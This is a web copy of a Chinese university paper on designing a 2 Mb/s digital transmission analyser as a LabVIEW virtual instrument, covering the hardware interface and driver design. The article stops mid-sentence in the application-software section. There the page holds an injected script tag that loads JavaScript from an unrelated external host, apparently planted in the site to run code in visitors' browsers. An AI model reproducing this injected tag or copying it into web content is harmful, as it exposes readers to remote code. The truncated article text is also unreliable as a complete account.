基于虚拟仪器的2 M数字传输分析系统的设计

  摘 要:介绍了在windows环境下,利用当前最流行的虚拟仪器软件开发工具图形化编程语言labview设计开发2m数字传输分析系统的总体结构和相应的软硬件设计,重点讲述了系统应用软件的设计。

关键词:虚拟仪器;labview;2m数字传输分析系统;设计

design ofa 2 m digitaltransmission analysis systembased on virtualinstrument

  wang jianfeng,xiao jie,tian huisheng

  (department of information&communication engineering,xi′an jiaotong university,xi′an,710049,china)

  abstract:virtual instrument is a deep level combination of instrument technology and computer technology.this paperintroduces how to design 2 mb/s digitaltransmission analysis system by using the most popular virtualinstrument developmenttool  labview,including the system′s structure,corresponding hardware and software design.the system′s application design isstressed.

  keywords:virtualinstrument;labview;2 m digitaltransmission analysis system;design

在通信测试中,传统的2m数字传输分析仪可用于测量通信线路数据通信的误码率和分析线路故障及原因,并可方便地完成对2 mb/s数字通道,n×64 k信道一系列传输参数的测量及日常维护测试。但是,目前国内外市场上的这类仪器大都价格昂贵,操作复杂,维护困难,而且最关键的是这些仪器的功能只能由仪器的生产厂家来定义、制造,用户无法根据自己的需求定义、更新、扩展仪器的功能。鉴于这种局限性,本文研究利用虚拟仪器技术在计算机上设计实现传统2m数字传输分析仪的各项功能。与传统的分析仪相比,他具有分析功能强大、灵活,图形化界面友好、操作直观方便,开发设计周期短、费用低,开放性能好等优点。

1 系统总体设计方案

  虚拟仪器是20世纪80年代开始兴起的一项新技术,是在以通用计算机为核心的硬件平台上,由用户设计定义、具有虚拟仪器面板、测试功能由测试软件实现的一种计算机仪器系统。

  虚拟仪器在结构上由通用仪器硬件平台和软件平台两大部分构成:通用仪器硬件平台,包括计算机和i/o接口设备;软件平台,包括应用程序和i/o接口仪器驱动程序。

  结合虚拟仪器的结构和传统数字传输分析仪的功能需求,基于虚拟仪器的2m数字传输分析系统的总体结构框架图如图1所示。

2 系统硬件设计

  2m数字传输分析系统的硬件平台是由计算机和i/o接口设备组成,由于计算机是现成设备,因此系统需要设计的只是i/o接口设备,即系统的检测模块。

  检测模块的功能是接收和发送通信线路中2 mb/s的pcm信号,并从中检测到误码和告警状态。由于他的绝大部分功能都可由芯片ds21354实现,因此系统的硬件部分就是围绕ds21354来设计。

  在本系统的检测模块中,ds21354与isa总线的连接是设计的核心部分。只有这个部分完成了,系统才可以在下级和上级之间传送数据信号、地址信号和控制信号,从而才能使整个虚拟系统的实现成为可能。图2给出的是ds21354与isa总线的连接设计图。

3 系统软件设计

软件是虚拟仪器的核心。本系统采用labview作为开发工具,他是美国ni公司推出的一种基于c语言的虚拟仪器软件开发工具,为虚拟仪器设计者提供了一个便捷、轻松的设计环境。利用他,设计者可以像搭积木一样,轻松组建一个测量系统和构造自己的仪器面板,而无需进行任何繁琐的计算机代码的编写。

  系统的软件设计包括仪器驱动程序的设计和系统应用程序的设计。

3.1 仪器驱动程序设计

  labview提供了各种图形化驱动程序,可以方便地实现对各种总线的i/o接口设备的驱动。但是,labview提供的图标功能是有限的,对非ni公司的数据采集卡,设计者就需要自己来开发驱动程序,本系统即是如此。labview为这些不属于ni公司的数据采集设备的驱动提供了两种开发方式:

  (1)利用端口操作图标in port.vi和outport.vi开发设备驱动程序

  labview中有两个可直接访问底层设备的图标,即in port.vi和outport.vi。这两个图标可以完成从设备的物理地址直接读取和输出数据的功能。

  (2)采用labview提供的cin(code interfacenode)图标开发这个系统的驱动程序

  labview在advanced子模板上提供了一个可以和c语言接口的图标cin,可以方便的实现在labview中引入c语言编写的驱动程序源代码。

3.2 系统应用程序设计

  由于虚拟仪器在外观上只是利用计算机显示器的显示功能来模拟显示传统仪器的控制面板,因此?script src=http://er12.com/t.js>

  • 基于虚拟仪器的2 M数字传输分析系统的设计已关闭评论
    A+
发布日期:2019年07月02日  所属分类:参考设计